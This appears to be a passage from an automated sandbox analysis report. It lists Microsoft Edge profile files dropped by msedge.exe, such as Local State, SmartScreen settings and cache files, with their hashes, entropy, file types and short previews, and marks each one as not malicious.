Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e77e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.011854261814867
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXfeUHT7y:YWLSGTt1o9LuLgfGBPAzkVj/T8lPe4TW
MD5:	7E874F285606F9C769AAEF0CE7785A1B
SHA1:	8A1777FE1DF6A6E74B30297646A2364E3F6A35F2
SHA-256:	FB89C2D09DCC63DA3FDFFF6D9EC01705F99207A6AC653BF46F722FFACFCAEB38
SHA-512:	F916CC0D266186171E7C2943C4C1B7DFCDD27EEA8393FC415A358D889E03971C8D1FDC173C666EFBAE1AD2890A6729C85834397652C25810365BA5D5D59AB92F
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732648891226613}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a4215a27-c02a-40e7-9582-05d04ffc7c56.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096510588311881
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB8wuYhDO6vP6O1Dbqa2jMn5lWcGoup1Xl3jVzXr4z:z/Ps+wsI7ynEk6VyLchu3VlXr4CRo1
MD5:	9309154AACDBE922FE173CBB0B647E48
SHA1:	DF33467AC49A2D9E4538CF2CBFBE60530EC21005
SHA-256:	9AC24C323D244D48F785B79D8AE4DFDE49D8351F52D6479333F4F1EB6EBA295D
SHA-512:	126C022C54709FD6606F434F11756530FAE235E8248692B9D525ABA3D8FEB096C1B44432689EC790A99513415E6A4F877D0467BD9228CC0E1A5EDE84D47B0307
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b95a3034-648e-43d0-9319-be288507e729.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090730648318916
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM+wuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ttbz8hu3VlXr4CRo1
MD5:	9EE163BCD089F428C59143611A961A23
SHA1:	12F84F031702DF189C19286A2F4B9CC5F33408AC
SHA-256:	341A13F76F6E3854B1B042C331C25528E72F8E01F0F9B8C8EA31EADCC4625AA4
SHA-512:	073B1110E61AB12D466CFAEDDA059544AAD1EA839CA41877F70C2BBDFCFC8143B0B27EF3C6ECBF1292F3A03B77DF0DAB600B6E920F71E049D2A11BA2EB8602A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d7d9e6fb-2903-464c-b2a2-1915598988a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46007
Entropy (8bit):	6.088915738645446
Encrypted:	false
SSDEEP:	768:gMkbJrT8IeQc5d9Z4oulhDO6vP6O1DbqS2lYB8cFpRIQmxgRCAo7Goup1Xl3jVzg:gMk1rT8H19Zd6VyQIQ9Ro7hu3VlXr4z
MD5:	B4FC640899AA95FAB1444C99F2AC5C8E
SHA1:	0FA6B804E31357D067DE9F68DB3A625A110FAED6
SHA-256:	CB21DBA35F450A8F5A8644BEBA539D75C0E05510C1BEC3D4BFC56062D16597A8
SHA-512:	74486B3AEAA785C63411AD143AF7E951A7EB85964859D1C14159B196A8DE6CEA90708CC3415124E460088198E4EB7DADF4BFCDFAE12EFD8B7A2F0F1C832629B0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732548090"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fa4ae057-b511-4c68-8639-f6e2bb2f4975.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46131
Entropy (8bit):	6.088553765657697
Encrypted:	false
SSDEEP:	768:gMkbJrT8IeQc5L9ZEoulhDO6vP6O1Dbqy2lYB8cFpRIQmxgRCAo7Goup1Xl3jVzg:gMk1rT8HD9ZJ6VywIQ9Ro7hu3VlXr4z
MD5:	5B694D2A83DF15DD813ED44F8A799922
SHA1:	43788B756464E7B5685288280283D199448B51FF
SHA-256:	B34C95A99BFACDE9DE67EFD3BB3ED1DE11B3D216C66E4D09A2EAFAB0548316F4
SHA-512:	563A406F8596A8942EDC97456EA939828949AE45F93DF94FADAB64BA26F81B87CF4F350D3B3787B3D8919B5BA903667BE7D9346584223FF59CD966580118784B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732548090"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

